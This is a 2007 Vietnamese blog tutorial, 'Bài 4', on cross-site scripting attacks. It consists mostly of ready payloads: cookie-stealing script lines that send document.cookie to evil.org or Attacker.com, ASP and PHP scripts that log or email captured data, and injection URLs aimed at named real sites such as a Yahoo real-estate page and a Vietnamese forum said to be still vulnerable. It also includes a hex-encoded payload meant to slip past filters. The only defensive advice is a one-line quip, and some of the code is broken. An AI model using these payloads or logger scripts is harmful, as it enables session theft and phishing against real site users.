Saturday, January 13, 2007

Bài 4: XSS attack - Chèn mã lệnh thực thi trên trình duyệt

Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML.

Biểu đồ tỷ lệ XSS Bug trong Web App (Nguồn Acunetix)


Kỹ thuật nay chuyên thực thi trên trình duyệt người dùng để đánh cắp cookies, mật khẩu, session hay fishing lừa đảo ... bằng cách chèn các script lợi dụng DOM (Document Object Model) tại các vị trí sau:

<script>Mã độc hại</SCRIPT>
<EMBED SRC="http://www.phim.com/movies/abc.mov">
<script>
<OBJECT>
<APPLET>
<EMBED>
<FORM>

Cách insert dạng

Inline Scripting
search.cgi?criteria=<script>code</script>
search.cgi?val=<script SRC='http://evil.org/hoangyen.js'> </SCRIPT>
COM2.IMG%20src= "java script:alert(document.domain)"

Forced Error Responses

search.cgi?blahblahblahblahblah<script>code</script>
servlet/ org.apache.catalina.servlets.WebdavStatus/<script>code</script>

Non <script> Events
<A HREF="exploit string">Go</A>
resulting in:
<A HREF="" [event]='code'">Go</A>

<b onMouseOver="self.location.href='http://evil.org/'">bolded text</b>

JavaScript Entities
<img src="&{alert('CSS Vulnerable')};">

Typical Payloads Formatting
<img src = "malicious.js">
<script>alert('hacked')</script>
<iframe = "malicious.js">
<script>document.write('<img src="http://evil.org/'+document.cookie+'") </script>
<a href="java script:…">click-me</a>

Sau khi chèn các script lên đó, Attacker sẽ gửi nội dung đã chèn cho người dùng qua email hay dụ người dùng vào xem vị trí trang web đã chèn script đó (như chèn trong chữ ký của attacker...). Khi người sử dụng vào thì thông tin của người dùng đã chuyển tới 1 file (dạng CGI/PHP/ASP/PERL) lưu thông tin do attacker tạo ra hoặc attacker biến đổi nội dung của trang web trong đó xuất hiện nội dung của attacker (Dạng như IFRAME) .

Mẫu nội dung của file lưu thông tin

Dạng ASP
Code

<%
Set x = CreateObject("Scripting.FileSystemObject")
Set y = x.OpenTextFile(Server.MapPath("XSS.txt"), 8, true)
y.WriteLine Request.QueryString("XSS")
y.Close
Set y = Nothing
Set x = Nothing
%>

Dạng PHP
Code

<?
$f = fopen("XSS.txt","a");
fputs($f, $xss.chr(13));
fclose($f);
?>

Dạng send về email
Code

<?php
if ($contents && $header){
mail(``hoangyenxinhdep@yahoo.com`` , ``from mail script``,$contents,$header) or
die(`couldnt email it`);
sleep(2);
? >
<script language=javascript >

<?php
} else {
echo ``nope``;
}

Ta hãy xem 1 ví dụ sau :
Code

<a href="http://www.vnsecurity.com/index.php?type=<script>document.location.replace('http://www.Attacker.com/xss.cgi'+document.cookies);</script>"> Hot Hot !!! Vietnamnet bi hack ne

Điều gì sẽ xảy ra khi user click vào link và đăng nhập? Thông tin của user hay mod thậm chí cả admin cũng có thể sẽ bị attacker chiếm được .

Ví dụ sau giúp ta có thể đưa được trang vnsecurity.com vào trong website của Hội tin học VN (Vẫn còn hiệu lực)
Code

http://www.diendan.tinhoc-doisong.net/search.asp?Search="><script>alert('Hoangyenxinhdep')</script><iframe%20src="http://www.vnsecurity.com"></iframe>

Bug XSS của Yahoo , Bug này chị đã thông báo cho Yahoo không biết họ có nhận được thông tin hay không
Code

http://realestate.yahoo.com/New_York/Schenectady/Homes_for_sale/result.html;_ylt=AvVmhFczFhp9qto6He9R03mkF7kF?typeBak="><script>alert(document.cookie)</script>
http://realestate.yahoo.com/New_York/Schenectady/Homes_for_sale/result.html;_ylt=AvVmhFczFhp9qto6He9R03mkF7kF?typeBak="><script>alert('hoangyenxinhdep')</script>

or at the sort string
for example

http://albany.yahoo.idx.prumanor.com/results.aspx?&VIP=Yahoo!+IDX&cc=realestate&fclose=n&newhome=n&za=and&searchgeo=Schenectady%2c+NY&searchtype=2&propertytype=1%2c2&sort=5&sortacdc="><script>alert()</script><iframe%20src="http://www.vnsecurity.com"></iframe>

Attacker có thể lợi dụng lỗi này để fishing trên các Hệ thống thanh toán, game, shopping, Ngân hàng, Tín dụng...

Nhiều coder khôn khéo lọc hết các kỹ tự đặc biệt như ' hay + để tránh các việc chèn lệnh trên URL để tấn công SQL hay XSS nhưng một attacker cao tay sẽ dễ dàng giải quyết việc này bằng cách sử dụng mã hóa HEX thay thế để khai thác

Hex Usage:
Code

http://www.sitebiXSS.com/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79
%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%
75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

Cách khắc phục : Tốt nhất là tự mình test hết một lượt :)

HYXD

1 comment: